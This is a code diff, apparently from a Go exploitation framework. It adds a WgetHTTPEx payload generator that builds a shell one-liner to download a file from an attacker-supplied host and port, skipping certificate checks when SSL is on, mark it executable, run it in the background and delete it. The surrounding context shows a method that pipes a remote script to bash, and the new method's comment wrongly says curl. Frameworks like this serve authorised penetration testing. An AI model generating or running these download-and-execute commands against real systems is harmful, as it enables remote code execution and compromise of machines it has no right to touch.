@@ -44,6 +44,19 @@ func (unix *UnixPayload) EitherHTTP(lhost string, lport int, ssl bool, downloadF
4444 output , uri , output , uri , output , output , output )
4545}
4646
47+ // Download a remote file with curl, execute it, and delete it.
48+ func (unix * UnixPayload ) WgetHTTPEx (lhost string , lport int , ssl bool , downloadFile string ) string {
49+ output := "/tmp/" + random .RandLetters (3 )
50+
51+ if ssl {
52+ return fmt .Sprintf ("wget --no-check-certificate -O %s https://%s:%d/%s && chmod +x %s && %s & rm -f %s" ,
53+ output , lhost , lport , downloadFile , output , output , output )
54+ }
55+
56+ return fmt .Sprintf ("wget -O %s http://%s:%d/%s && chmod +x %s && %s & rm -f %s" ,
57+ output , lhost , lport , downloadFile , output , output , output )
58+ }
59+
4760// Download a remote bash script with wget and pipe it to bash.
4861func (unix * UnixPayload ) WgetHTTP (lhost string , lport int , ssl bool , downloadFile string ) string {
4962 uri := fmt .Sprintf ("%s:%d/%s" , lhost , lport , downloadFile )
0 commit comments